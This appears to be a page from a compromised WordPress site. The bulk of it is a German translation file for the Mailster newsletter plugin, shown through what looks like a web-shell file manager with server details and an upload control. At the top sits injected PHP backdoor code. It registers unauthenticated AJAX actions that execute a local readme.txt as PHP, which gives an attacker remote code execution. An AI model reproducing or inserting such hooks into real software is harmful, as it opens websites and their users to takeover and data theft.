if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_tmp/wp-content/languages/plugins/mailster-de_DE.po
# Translation of Mailster Newsletter Plugin for WordPress in German
# This file is distributed under the same license as the Mailster Newsletter Plugin for WordPress package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-14 15:23:56+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.3.1\n"
"Language: de\n"
"Project-Id-Version: Mailster Newsletter Plugin for WordPress\n"

#: classes/dashboard.class.php:275 views/dashboard/mb-quicklinks.php:18
msgctxt "number of"
msgid "Autoresponder"
msgid_plural "Autoresponders"
msgstr[0] "Autoresponder"
msgstr[1] "Autoresponders"

#: classes/dashboard.class.php:271 views/dashboard/mb-quicklinks.php:17
msgctxt "number of"
msgid "Campaign"
msgid_plural "Campaigns"
msgstr[0] "Kampagne"
msgstr[1] "Kampagnen"

#: views/settings/advanced.php:19
msgid "Check this option to process short codes. This may cause unexpected results."
msgstr "Wähle diese Option falls short codes verarbeitet werden sollen. Dies kann zu unerwarteten Ergebnisse führen."

#: views/dashboard/mb-quicklinks.php:46
msgctxt "number of"
msgid "Form"
msgid_plural "Forms"
msgstr[0] "Formular"
msgstr[1] "Formulare"

#: views/dashboard/mb-quicklinks.php:38
msgctxt "number of"
msgid "List"
msgid_plural "Lists"
msgstr[0] "Liste"
msgstr[1] "Listen"

#: views/dashboard/mb-mailster.php:22
msgid "Please verify your Mailster account!"
msgstr "Bitte verifiziere deinen Mailsterkonto!"

#: views/settings/advanced.php:19
msgid "Process short codes in emails."
msgstr "Short codes in emails verarbeiten."

#: views/settings/advanced.php:18
msgid "Short Codes"
msgstr "Short Codes"

#: classes/dashboard.class.php:279 views/dashboard/mb-subscribers.php:14
#: views/dashboard/mb-quicklinks.php:28
msgctxt "number of"
msgid "Subscriber"
msgid_plural "Subscribers"
msgstr[0] "Abonnent"
msgstr[1] "Abonnenten"

#: views/dashboard/mb-mailster.php:19
msgid "Verified License"
msgstr "Verifizierte Lizenz"

#: classes/lists.table.class.php:120
msgid "%s subscribed"
msgstr "%s abonniert"

#: classes/campaigns.class.php:1396
msgid "+ %d unknown locations"
msgstr "+ %d unbekannte Orte"

#: views/settings/subscribers.php:51
msgid "Allow Subscribers to opt out from their mail application if applicable."
msgstr "Erlaube Abonnenten wenn möglich sich mithilfe ihres E-Mailprogramms abzumelden."

#: views/newsletter/editbar.php:86 views/newsletter/editbar.php:198
msgid "Alternative Text"
msgstr "Alternativer Text"

#: classes/templates.class.php:591
msgid "Buy %1$s from %2$s now!"
msgstr "Kaufe %1$s von %2$s jetzt!"

#: includes/functions.php:1065 includes/functions.php:1089
msgid "Custom Mailster styles should be added by using the %s action. Please check the documentation."
msgstr "Eigene Mailster Styles sollten mit der %s Aktion hinzugefügt werden. Bitte lese die Dokumentation."

#: includes/functions.php:990
msgid "Custom Mailster tags should be added by using the %s action. Please check the documentation."
msgstr "Eigene Mailster Tags sollten mit der %s Aktion hinzugefügt werden. Bitte lese die Dokumentation."

#: includes/functions.php:1035
msgid "Custom Mailster tags should be removed by using the %s action. Please check the documentation."
msgstr "Eigene Mailster Tags sollten mit der %s Aktion entfernt werden. Bitte lese die Dokumentation."

#: views/templates/installed-template.php:14
msgid "Default"
msgstr "Standard"

#: classes/campaigns.class.php:1223
msgid "Do you really like to finish selected campaigns?"
msgstr "Willst du die ausgewählten Kampagnen wirklich beenden?"

#: classes/campaigns.class.php:1224
msgid "Do you really like to start selected campaigns?"
msgstr "Willst du die ausgewählten Kampagnen wirklich starten?"

#: views/settings/texts.php:61
msgid "Error text"
msgstr "Fehlertext"

#: views/templates/available-template.php:11
msgid "Featured"
msgstr "Featured"

#: views/templates/available-template.php:15
msgid "Free"
msgstr "Gratis"

#: views/settings/texts.php:58
msgid "GDPR"
msgstr "DSGVO"

#: views/newsletter/editbar.php:169
msgid "Image height"
msgstr "Bildhöhe"

#: views/newsletter/editbar.php:169
msgid "Image width"
msgstr "Bildbreite"

#: views/newsletter/editbar.php:96
msgid "Link of the button"
msgstr "Link des Buttons"

#: views/settings/subscribers.php:50
msgid "Mail App Unsubscribe"
msgstr "Abmelden innerhalb des E-Mailprogramms"

#: views/templates/installed-template.php:18
msgid "New"
msgstr "Neu"

#: classes/queue.class.php:633
msgid "New campaign %1$s has been created and is going to be sent on %2$s."
msgstr "Neue Kampagne %1$s wurde erstellt und wird im %2$s gesendet."

#: classes/campaigns.class.php:4152
msgid "Not in time frame"
msgstr "Außerhalb des Zeitfensters."

#: views/newsletter/delivery.php:349
msgid "Only %1$s after %2$s count."
msgstr "Nur %1$s nach %2$s zählt."

#: classes/templates.class.php:587
msgid "Please make sure you have signed in to the account you have purchased the template!"
msgstr "Bitte stelle sicher, dass du dich mit dem Konto mit dem du das Template gekauft hast angemeldet bist. "

#: classes/queue.class.php:1166
msgid "Prevent to send duplicate within one minute."
msgstr "Sende keine Duplikate innerhalb einer Minute."

#: views/dashboard/mb-mailster.php:60 views/dashboard/mb-mailster.php:69
msgid "Renew Support"
msgstr "Support erneuern"

#: views/templates/available-template.php:19
msgid "Sale"
msgstr "Angebot"

#: classes/settings.class.php:1557
msgid "Sending via your host is not recommended. Please consider using a dedicate Email Service Provider instead."
msgstr "Mit deinem Provider zu senden ist nich empfohlen. Bitte überlege die Verwendung eines professionellen E-Mail Provider."

#: views/settings/texts.php:60
msgid "Terms confirmation text"
msgstr "Nutzungsbedingungen bestätigen"

#: includes/updates.php:586
msgid "The Gmail Sending Method is deprecated and will soon not work anymore! Please update to the new plugin %1$s and follow our setup guide %2$s."
msgstr ""

#: classes/helper.class.php:1659
msgid "The server responded with error code %d."
msgstr "Der Server antwortete mit der Fehlermeldung %d."

#: classes/campaigns.class.php:4301 classes/ajax.class.php:712
msgid "There was an error during replacing tags in this campaign! %s"
msgstr "Es ist ein Fehler während dem Ersetzen der Tags in dieser Kampagne aufgetreten! %s"

#: classes/helper.class.php:1664
msgid "There's a problem receiving the feed from `%1$s`: %2$s"
msgstr "Es gab ein Problem beim Laden des Feeds von `%1$s`: %2$s"

#: views/newsletter/editbar.php:170
msgid "Toggle crop option"
msgstr "Bild beschneiden"

#: classes/templates.class.php:592
msgid "Visit Envato Account"
msgstr "Envato besuchen"

#: classes/campaigns.class.php:419 classes/campaigns.class.php:1113
msgid "You are not allowed to resume this campaign."
msgstr "Du darfst diese Kampagne nicht fortsetzen."

#: views/settings/privacy.php:62
msgid "You can define Texts on the %s settings tab."
msgstr ""

#: classes/dashboard.class.php:234
msgid "You can reset your license up to three times!"
msgstr "Du kannst deine Lizenz maximal drei mal zurücksetzten!"

#: classes/subscribers.class.php:1122
msgid "You must define an email address."
msgstr "Du must eine E-Mailadresse angeben."

#: views/dashboard/mb-mailster.php:60
msgid "Your support expired %s ago!"
msgstr "Dein Support ist vor %s abgelaufen!"

#: views/dashboard/mb-mailster.php:58
msgid "Your support expires on %s."
msgstr "Dein Support läuft am %s ab."

#: views/newsletter/editbar.php:339
msgid "use High DPI image"
msgstr "verwende Bilder mit High DPI"

#: views/settings/advanced.php:39
msgid "Enable legacy hooks"
msgstr "Legacy Hooks aktivieren"

#: views/settings/advanced.php:39
msgid "If you still use deprecated MyMail hooks and filters you can keep them working by enabling this option."
msgstr "Falls du noch veraltete MyMail hooks und filter verwendest, kannst du diese Option aktivieren."

#: views/settings/advanced.php:38
msgid "Legacy Hooks"
msgstr ""

#: includes/3rdparty.php:53 includes/3rdparty.php:89
msgid "Mailster Campaigns do not support the %s."
msgstr "Mailster Kampagnen unterstützen %s nicht."

#: classes/manage.class.php:449
msgid "The status will be applied to contacts if no other is defined via the columns."
msgstr "Dieser Status wird bei Kontakte verwendet, falls kein andere in den Spalten bestimmt wurde."

#: classes/templates.class.php:683
msgid "To download this free template you have to enter your Mailster license on %s."
msgstr "Um dieses Template zu laden musst du eine gültige Lizenz auf %s eingeben."

#: classes/templates.class.php:683
msgid "the dashboard"
msgstr "dem Dashboard"

#: classes/manage.class.php:452
msgid "will overwrite all values of the contact. Status will be overwritten."
msgstr "überschriebt alle Werte des Kontakts. Status wird überschrieben."

#: classes/manage.class.php:452
msgid "will overwrite only defined values and keep old ones. Status will not be changed unless defined via the columns."
msgstr "überschreibt nur definierte Werte und behält vorhanden. Status wird nicht geändert solange in den Spalten keiner bestimmt wurde."

#: classes/manage.class.php:452
msgid "will skip the contact if the email address already exists. Status will not be changed."
msgstr "überspringt den Kontakt, falls die E-Mailadresse bereits existiert. Status wird nicht geändert."

#: views/settings/general.php:70
msgid "ignore"
msgstr "ignoriere"

#: views/settings/general.php:71
msgid "respect"
msgstr "respektiere"

#: views/settings/general.php:73
msgid "third party content type settings."
msgstr "Content Type Einstellungen von dritten."

#: views/newsletter/editbar.php:267
msgid "10th random"
msgstr "10. zufälliger"

#: views/newsletter/editbar.php:268
msgid "11th random"
msgstr "11. zufälliger"

#: views/newsletter/editbar.php:269
msgid "12th random"
msgstr "12. zufälliger"

#: views/newsletter/editbar.php:258
msgid "1st random"
msgstr "1. zufälliger"

#: views/newsletter/editbar.php:259
msgid "2nd random"
msgstr "2. zufälliger"

#: views/newsletter/editbar.php:260
msgid "3rd random"
msgstr "3. zufälliger"

#: views/newsletter/editbar.php:261
msgid "4th random"
msgstr "4. zufälliger"

#: views/newsletter/editbar.php:262
msgid "5th random"
msgstr "5. zufälliger"

#: views/newsletter/editbar.php:263
msgid "6th random"
msgstr "6. zufälliger"

#: views/newsletter/editbar.php:264
msgid "7th random"
msgstr "7. zufälliger"

#: views/newsletter/editbar.php:265
msgid "8th random"
msgstr "8. zufälliger"

#: views/newsletter/editbar.php:266
msgid "9th random"
msgstr "9. zufälliger"

#: views/newsletter/submit.php:94
msgid "Clear Queue of this auto responder."
msgstr "Lösche die Warteschlange für diesen Autoresponder."

#: classes/helper.class.php:2111
msgid "Command not supported"
msgstr "Befehl nicht unterstützt"

#: classes/campaigns.class.php:3782
msgid "Deleted Subscribers are not listed."
msgstr "Gelöschte Abonnenten werden nicht gezeigt."

#: views/newsletter/editbar.php:320
msgid "Different identifier will never display the same post in the same campaign."
msgstr "Unterschiedliche Werte zeigen nie den selben Beitrag in der selben Kampagne."

#: classes/helper.class.php:1772
msgid "Feed item #%d does not exist"
msgstr "Feed #%d existiert nicht"

#: classes/templates.class.php:253
msgid "Following files have been removed during upload:"
msgstr "Folgende Dateien wurden nach dem Upload entfernt:"

#: classes/subscribers.class.php:1534
msgid "Form Key"
msgstr "Form Schlüssel"

#: views/newsletter/delivery.php:528
msgid "Hooks can get triggered multiple times and cause multiple emails."
msgstr "Hooks können mehrmals angestoßen werden und mehrere E-Mails senden."

#: classes/ajax.class.php:1370 classes/ajax.class.php:1425
msgid "Load more entries"
msgstr "Lade mehr Einträge"

#: views/newsletter/editbar.php:181
msgid "Media Library"
msgstr "Medienbibliothek"

#: classes/ajax.class.php:1552 classes/ajax.class.php:1554
msgid "No Title"
msgstr "Kein Titel"

#: classes/ajax.class.php:1549
msgid "No title"
msgstr "Kein Titel"

#: classes/templates.class.php:565
msgid "Old template files will be preserved in the templates folder."
msgstr "Alte Templatedateien werden im Templateordner gespeichert."

#: classes/helper.class.php:733
msgid "Plain Text (no template file)"
msgstr "Einfacher Text (keine Templatedatei)"

#: classes/campaigns.class.php:772 views/newsletter/delivery.php:194
#: views/newsletter/delivery.php:337 views/newsletter/editbar.php:295
msgid "RSS Feed"
msgstr "RSS Feed"

#: views/newsletter/delivery.php:308 views/newsletter/delivery.php:337
msgid "RSS Feeds"
msgstr "RSS Feeds"

#: views/newsletter/editbar.php:279
msgid "Random"
msgstr "Zufällig"

#: views/newsletter/editbar.php:319
msgid "Random tags will display a random content while the number is used as an identifier. Same identifier will display content from the same post."
msgstr "Random Tags zeigen einen zufälligen Inhalt wobei die Zahl als Identifikation verwendet wird. Die selbe Zahl zeigt auch den Inhalt vom selben Beitrag. "

#: views/newsletter/editbar.php:273
msgid "Relative"
msgstr "Relativ"

#: views/newsletter/submit.php:94
msgid "Removes all pending entries from this campaign in the queue."
msgstr "Entfernt alle anstehenden Einträge für diese Kampagne aus der Warteschlange."

#: views/settings/bounce.php:37
msgid "Secure"
msgstr "Sichere Verbindung"

#: classes/helper.class.php:1703
msgid "The feed only contains %d items"
msgstr "Dieser Feed enthält nur %d Einträge"

#: classes/ajax.class.php:1558
msgid "There's currently no match for your selection!"
msgstr "Zur Zeit gibt es keine Übereinstimmung für deine Auswahl!"

#: views/dashboard/mb-mailster.php:81
msgid "Update Translation"
msgstr "Übersetzung aktualisieren"

#: views/newsletter/delivery.php:526
msgid "allow multiple triggers"
msgstr "mehrere Auslöser akzeptieren "

#: classes/ajax.class.php:1344
msgid "by %s"
msgstr "von %s"

#: views/newsletter/details.php:127
msgid "deleted"
msgstr "gelöscht"

#: classes/campaigns.class.php:1354
msgid "Add repeater"
msgstr "Repeater hinzufügen"

#: classes/campaigns.class.php:1364
msgid "Area %s"
msgstr "Bereich %s"

#: views/dialogs/deactivation.php:47
msgid "Delete Campaigns"
msgstr "Kampagnen löschen"

#: views/dialogs/deactivation.php:48
msgid "Delete Capabilities"
msgstr "Berechtigungen löschen"

#: views/dialogs/deactivation.php:51
msgid "Delete Files"
msgstr "Dateien löschen"

#: views/dialogs/deactivation.php:50
msgid "Delete Options"
msgstr "Optionen löschen"

#: views/dialogs/deactivation.php:49
msgid "Delete Tables"
msgstr "Tabellen löschen"

#: classes/settings.class.php:1279
msgid "Do you like to send your campaigns with %1$s? Please use our %2$s."
msgstr "Möchtest du deinen Kampagnen mit %1$s versenden? Bitte verwende unsere %2$s."

#: views/settings/advanced.php:6
msgid "Enable usage tracking for this site."
msgstr "Nutzungstracking für diese Seite aktivieren."

#: classes/register.class.php:15
msgid "Help me!"
msgstr "Hilf mir!"

#: views/dashboard.php:32
msgid "Help us improve Mailster automatically."
msgstr "Hilf uns Mailster automatisch zu verbessern."

#: views/dialogs/deactivation.php:28
msgid "I found a better plugin."
msgstr "Ich hab ein besseres Plugin gefunden."

#: views/dialogs/deactivation.php:11
msgid "I no longer need the plugin."
msgstr "Ich brauche das Plugin nicht mehr."

#: views/settings/advanced.php:6 views/dashboard.php:33
msgid "If you enable this option we are able to track the usage of Mailster on your site. We don't record any sensitive data but only information regarding the WordPress environment and plugin settings, which we use to make improvements to the plugin. Tracking is completely optional and can be disabled anytime."
msgstr "Wenn du diese Option aktivierst, ermöglichst du uns die Nutzung von Mailster auf dieser Seite zu tracken. Wir speichern dabei keine sensible Daten sondern lediglich Informationen über die WordPress Umgebung und den Plugineinstellungen, die wir für die Weiterentwickluung des Plugins verwenden. Tracking ist optional und kann jederzeit deaktiviert werden."

#: views/dialogs/deactivation.php:6
msgid "If you have a moment, please let us know why you are deactivating Mailster. We only use this feedback to improve the plugin."
msgstr "Bitte teile uns mit warum du Mailster deaktivierst. Wir verwenden dieses Feedback nur um das Plugin zu verbessern."

#: views/dialogs/deactivation.php:8
msgid "It's a temporary deactivation."
msgstr "Es ist nur kurzfristig."

#: views/dialogs/deactivation.php:1
msgid "Mailster Deactivation"
msgstr "Mailster Deaktivierung"

#: views/dialogs/deactivation.php:53
msgid "Mailster does not delete any data on plugin deactivation by default. If you like to start with a fresh setup you can check this option and Mailster will remove all campaigns, subscribers, actions and other data in your database."
msgstr "Mailster löscht standardmäßig keine Daten beim Deaktivieren. Falls du mit einer neuen Installation beginnen möchtest, kannst du diese Option aktivieren und Mailster wird alle Kampagnen, Abonnenten, Aktionen und andere Daten in deiner Datenbank entfernen."

#: views/conditions/conditions.php:203
msgid "No Form found"
msgstr "Kein Formular gefunden"

#: views/dashboard.php:37
msgid "No, I'm not interested."
msgstr "Nein, ich bin daran nicht interessiert."

#: views/dialogs/deactivation.php:53
msgid "Note: This will permanently delete all Mailster data from your database."
msgstr "Beachte: Dies löscht alle Daten von Mailster in deiner Datenbank."

#: classes/register.class.php:92
msgid "OK got it"
msgstr "Ok, verstanden"

#: views/dialogs/deactivation.php:37
msgid "Please describe why you're deactivating Mailster."
msgstr "Bitte erzähle uns warum du Mailster deaktivierst."

#: classes/ajax.class.php:2503
msgid "Please enter your email address."
msgstr "Bitte gebe deine Emailadresse an."

#: classes/mailster.class.php:1343
msgid "Please select a reason for the deactivation."
msgstr "Bitte wähle einen Grund warum du Mailster deaktivierst."

#: views/settings/advanced.php:6 views/dashboard.php:33
msgid "Read more about what we collect if you enable this option."
msgstr "Erfahre mehr darüber was wir mit dieser Option speichern."

#: classes/campaigns.class.php:1355
msgid "Remove repeater"
msgstr "Repeater entfernen"

#: classes/mailster.class.php:2571
msgid "Skip & Deactivate"
msgstr "Überspringen & Deaktivieren"

#: classes/mailster.class.php:2576
msgid "Submit & Deactivate"
msgstr "Abschicken & Deaktivieren"

#: classes/update.class.php:40
msgid "Thanks, we'll respect your opinion. You can always opt in anytime on the advanced tab in the settings!"
msgstr "Danke, wir respektieren deine Entscheidung. Du kannst jederzeit die Einstellung dafür in den Einstellungen ändern!"

#: views/newsletter/editbar.php:207
msgid "The area in which content gets placed."
msgstr "Der Bereich, in dem Inhalt eingefügt wird."

#: views/dialogs/deactivation.php:21
msgid "The plugin broke my site."
msgstr "Das Plugin hat meine Seite unbrauchbar gemacht."

#: views/dialogs/deactivation.php:14
msgid "The plugin didn't work."
msgstr "Das Plugin funktioniert nicht."

#: classes/campaigns.class.php:2185 classes/campaigns.class.php:2220
#: classes/campaigns.class.php:2273 classes/campaigns.class.php:2329
#: classes/campaigns.class.php:2418 classes/campaigns.class.php:2483
#: classes/campaigns.class.php:2521 classes/campaigns.class.php:2553
#: classes/campaigns.class.php:2643 classes/campaigns.class.php:2661
msgid "This campaign doesn't exists."
msgstr "Die Kampagne existiert nicht."

#: classes/campaigns.class.php:2557
msgid "This campaign is not an autoresponder."
msgstr "Diese Kampagne ist kein Autoresponder."

#: views/settings/advanced.php:4
msgid "Usage Tracking"
msgstr "Nutzungstracking"

#: classes/register.class.php:68
msgid "Verify Purchase Code"
msgstr "Purchase Code verifizieren"

#: views/dialogs/deactivation.php:16 views/dialogs/deactivation.php:23
msgid "We're sorry about that. Please get in touch with our %s."
msgstr "Es tut uns leid das zu hören. Bitte kontaktiere unseren %s."

#: views/dialogs/deactivation.php:30
msgid "What is the name of the plugin?"
msgstr "Wie heißt das Plugin?"

#: views/dialogs/deactivation.php:44
msgid "Would you like to delete all data?"
msgstr "Willst du sämtliche Daten löschen?"

#: views/dashboard.php:36
msgid "Yes, let me help you by enabling this option!"
msgstr "Ja, lass mich euch dabei helfen!"

#: classes/campaigns.class.php:437 classes/campaigns.class.php:1138
msgid "You are not allowed to activate this campaign."
msgstr "Du darfst diese Kampagne nicht aktivieren."

#: classes/campaigns.class.php:446 classes/campaigns.class.php:1146
msgid "You are not allowed to deactivate this campaign."
msgstr "Du darfst diese Kampagne nicht deaktivieren."

#: views/dialogs/deactivation.php:16 views/dialogs/deactivation.php:23
msgid "support"
msgstr "Support"

#: classes/settings.class.php:64
msgctxt "[Name] from [Blogname]"
msgid "%1$s from %2$s"
msgstr "%1$s von %2$s"

#: classes/settings.class.php:1280
msgid "%s Add-on"
msgstr "%s Addon"

#: classes/campaigns.class.php:1337 classes/manage.class.php:436
msgid "Add"
msgstr "Hinzufügen"

#: views/dashboard/mb-mailster.php:78 views/dashboard/mb-mailster.php:79
msgctxt "Your language"
msgid "Thanks for using Mailster in %s!"
msgstr "Danke, dass du Mailster in %s verwendest!"

#: classes/dashboard.class.php:238
msgid "Complete. Reload page!"
msgstr "Fertig. Bitte Seite neu laden!"

#: views/dashboard/mb-mailster.php:87
msgid "Currently %s translated."
msgstr "Zur Zeit %s übersetzt."

#: views/dashboard/mb-mailster.php:85
msgid "Download Translation"
msgstr "Übersetzung laden"

#: views/settings/authentication.php:38
msgid "Loading DKIM data"
msgstr "Lade DKIM Daten"

#: views/settings/authentication.php:19
msgid "Loading SPF data"
msgstr "Lade SPF Daten"

#: views/dashboard/mb-mailster.php:84
msgid "Mailster is available in %s!"
msgstr "Mailster ist in %s verfügbar!"

#: classes/tests.class.php:116
msgid "Test again"
msgstr "Noch einmal testen"

#: classes/forms.class.php:139
msgid "This is a success message"
msgstr "Das ist eine positive Meldung"

#: views/dashboard/mb-mailster.php:76
msgid "Translation"
msgstr "Übersetzung"

#: views/newsletter/editbar.php:336
msgid "Use original image"
msgstr "Verwende das Original"

#: classes/conditions.class.php:165
msgid "is in List"
msgstr "ist in der Liste"

#: views/newsletter/editbar.php:335
msgid "use the original image file and prevent cropping/modifing the image."
msgstr "verwende das Originalbild und verhindere das Beschneiden oder Verändern des Bildes."

#: classes/mailster.class.php:2256
msgctxt "mailster"
msgid "Deactivate %s"
msgstr "%s deaktivieren"

#: classes/mailster.class.php:2262
msgid "More info:"
msgstr "Mehr Info:"

#: classes/mailster.class.php:2257
msgid "Plugin Name"
msgstr "Plugin Name"

#: classes/manage.class.php:77
msgid "Delete %s Subscribers permanently"
msgstr "%s Abonnenten permanent löschen"

#: classes/mailster.class.php:2241
msgid "The %s method already exists from a different plugin! Please disable it before using Mailster for system mails!"
msgstr "Die %s Methode existiert bereits von einem anderen Plugin! Bitte deaktiviere dieses bevor du Mailster für diese Mails verwenden kannst!"

#: classes/conditions.class.php:359 views/conditions/conditions.php:302
msgid "Any Campaign"
msgstr "Beliebige Kampagne"

#: classes/conditions.class.php:236
msgid "Any Campaigns within the last 12 months"
msgstr "Eine beliebige Kampagne in den letzten 12 Monaten"

#: classes/conditions.class.php:235
msgid "Any Campaigns within the last 6 months"
msgstr "Eine beliebige Kampagne in den letzten 6 Monaten"

#: views/settings/advanced.php:34
msgid "Check if you have a heavy cached page and problems with invalid Security Nonce."
msgstr "Diese Option wählen falls du Probleme mit ungültigen \"Nonces\" hast bei gecachten Seiten."

#: classes/privacy.class.php:296
msgid "The Privacy page link has been changed to %s"
msgstr "Der Link zur Datenschutzseite hat sich geändert zu %s"

#: classes/export.class.php:74 classes/mailster.class.php:2933
msgid "Updating Mailster tables for Campaign %s:"
msgstr "Aktualisiere Mailstertabellen für Kampagne %s:"

#: views/settings/advanced.php:34
msgid "Use on internal forms."
msgstr "Verwende interne Formulare."

#: classes/export.class.php:82 classes/mailster.class.php:2941
msgid "completed for %d rows."
msgstr "fertiggestellt für %d Reihen."

#: classes/conditions.class.php:306 views/conditions/conditions.php:292
msgid "in"
msgstr "in"

#: classes/form.class.php:873
msgid "Honeypot is for bears only!"
msgstr "Der Honigtopf ist nur für Bären!"

#: views/settings/privacy.php:34
msgid "Load Location Database manually"
msgstr "Geodatenbank manuell laden"

#: views/settings/privacy.php:33
msgid "Looks like the location database hasn't been loaded yet!"
msgstr "Anscheinend wurde die Geodatenbank noch nicht geladen!"

#: views/settings/privacy.php:53
msgid "Custom Tags in web version"
msgstr "Benutzerdefinierte Felder in der Webansicht"

#: views/settings/privacy.php:55
msgid "Mailster can display custom tags from subscribers on the web version of your campaigns. They will only get displayed if they click a link in the newsletter."
msgstr "Mailster kann Tags von Abonnenten in der Webansicht deinen Kampagnen zeigen. Diese werden nur gezeigt wenn ein Link im Newsletter geklickt wurde."

#: views/newsletter/submit.php:22
msgid "Offer a public web version for this campaign. If disabled this campaign will be marked as \"private\""
msgstr "Biete eine öffentliche Version dieser Kampagne an. Wenn diese Option deaktiviert ist wird die Kampagne als \"privat\" markiert."

#: views/settings/privacy.php:54
msgid "Show subscribers tags in web version."
msgstr "Zeige benutzerdefinierte Felder in der Webansicht."

#: classes/mailster.class.php:2689
msgid "The License is defined as constant %s. You have to remove it before you can reset your license."
msgstr "Die Lizenz ist als Konstante %s definiert. Du musst diese entfernen bevor du sie zurücksetzen kannst."

#: classes/subscribers.class.php:1529
msgid "Timeoffset to UTC"
msgstr "Zeitabstand zu GMT"

#: classes/subscribers.class.php:1523
msgid "Clientversion"
msgstr "Version des Klienten"

#: views/subscribers/detail.php:161
msgid "Consent given (GDPR)"
msgstr "Zustimmung gegeben (DSGVO)"

#: classes/subscribers.class.php:1520
msgid "Coordinates"
msgstr "Koordinaten"

#: classes/conditions.class.php:130
msgid "GDPR Consent given"
msgstr "DSGVO Zustimmung gegeben"

#: classes/subscribers.class.php:1532
msgid "GDPR Timestamp"
msgstr "DSGVO Zeitstempel"

#: classes/register.class.php:77
msgid "I agree to the %1$s and the %2$s by completing the registration."
msgstr "I stimme den %1$s sowie den %2$s zu, wenn ich die Registrierung abschließe."

#: classes/subscribers.class.php:1525
msgid "IP address"
msgstr "IP Adresse"

#: classes/register.class.php:77
msgid "Privacy Policy"
msgstr "Datenschutzbestimmungen"

#: classes/register.class.php:77
msgid "Terms of service"
msgstr "Benutzungsbestimmungen"

#: classes/tests.class.php:611
msgid "The form with id %1$s doesn't exist. Please update %2$s."
msgstr "Das Formular mit der ID %1$s existiert nicht. Bitte aktualisiere %2$s."

#: classes/subscribers.class.php:1522
msgid "Type of Client"
msgstr "Art des Klienten"

#: classes/ajax.class.php:2506
msgid "You have to accept the terms of service."
msgstr "Du musst den Bestimmungen zustimmen."

#: views/setup.php:127
msgid "this option will send the HTML of your template files to our screen shot server which generates the thumbnails for you."
msgstr "diese Option sendet das HTML deiner Templates zu unserem Screenshotserver der damit deine Vorschaubilder erzeugt."

#: views/settings/privacy.php:60
msgid "Add a checkbox on your forms for user consent."
msgstr "Füge eine Checkbox zu deinen Formularen hinzu, um die Zustimmung deiner Benutzer zu erhalten."

#: classes/privacy.class.php:217
msgid "Clicked"
msgstr "Geklickt"

#: classes/privacy.class.php:172
msgid "Confirmed"
msgstr "Bestätigt"

#: views/settings/privacy.php:59
msgid "GDPR Compliance Forms"
msgstr "DSGVO Konforme Formulare"

#: classes/settings.class.php:257
msgid "I agree to the privacy policy and terms."
msgstr "Ich akzeptiere die Datenschutzbestimmungen."

#: classes/privacy.class.php:30
msgid "If you have signed up for our newsletter you may receive emails from us. This includes but not limited to transactional emails and marketing emails."
msgstr ""

#: views/settings/privacy.php:68
msgid "Link to your privacy policy page."
msgstr "Link zu der Seite mit den Datenschutzbestimmungen."

#: classes/privacy.class.php:160
msgid "List Name"
msgstr "Listenname"

#: classes/privacy.class.php:98 classes/privacy.class.php:106
msgid "Mailster Data"
msgstr "Mailster Daten"

#: classes/privacy.class.php:53
msgid "On signup we collect %s and the current web address were you sign up."
msgstr ""

#: classes/privacy.class.php:86
msgid "Once you get an email from us we track %s."
msgstr ""

#: classes/privacy.class.php:211
msgid "Opened"
msgstr "Geöffnet"

#: views/newsletter/template.php:56
msgid "Search Modules..."
msgstr "Module suchen..."

#: classes/privacy.class.php:205
msgid "Sent"
msgstr "Gesendet"

#: views/settings/privacy.php:61
msgid "Users must check this checkbox to submit the form."
msgstr "Benutzer müssen diese Checkbox aktivieren um das Formular abschicken zu können."

#: classes/privacy.class.php:90
msgid "We respect your browsers \"Do Not Track\" feature which means we do not track your interaction with our emails."
msgstr ""

#: classes/privacy.class.php:55
msgid "We send our emails via"
msgstr ""

#: classes/privacy.class.php:32
msgid "We'll only send emails which you have explicitly or implicitly (registration, product purchase etc.) signed up to."
msgstr ""

#: classes/privacy.class.php:26
msgid "What data Mailster collects from your subscribers"
msgstr ""

#: classes/settings.class.php:258
msgid "You have to agree to the privacy policy and terms!"
msgstr "Du musst den Datenschutzbestimmungen zustimmen!"

#: classes/privacy.class.php:62 classes/privacy.class.php:64
msgid "a service called %s"
msgstr ""

#: views/newsletter/template.php:57
msgid "clear search"
msgstr "Suche entfernen"

#: classes/privacy.class.php:75
msgid "if you click a link in the email"
msgstr ""

#: classes/privacy.class.php:72
msgid "if you open the email in your email client"
msgstr ""

#: classes/privacy.class.php:58
msgid "our own server."
msgstr ""

#: classes/privacy.class.php:60
msgid "via SMTP host %s"
msgstr ""

#: classes/privacy.class.php:49
msgid "your IP address and timestamp when you have confirmed your subscription"
msgstr ""

#: classes/privacy.class.php:81
msgid "your current IP address"
msgstr ""

#: classes/privacy.class.php:48
msgid "your current IP address and timestamp of signup"
msgstr ""

#: classes/privacy.class.php:45 classes/privacy.class.php:78
msgid "your current location"
msgstr ""

#: classes/privacy.class.php:35
msgid "your email address"
msgstr ""

#: classes/privacy.class.php:36
msgid "your name"
msgstr ""

#: views/subscribers/overview.php:10
msgid "%s Subscriber found"
msgid_plural "%s Subscribers found"
msgstr[0] "%s Abonnent gefunden"
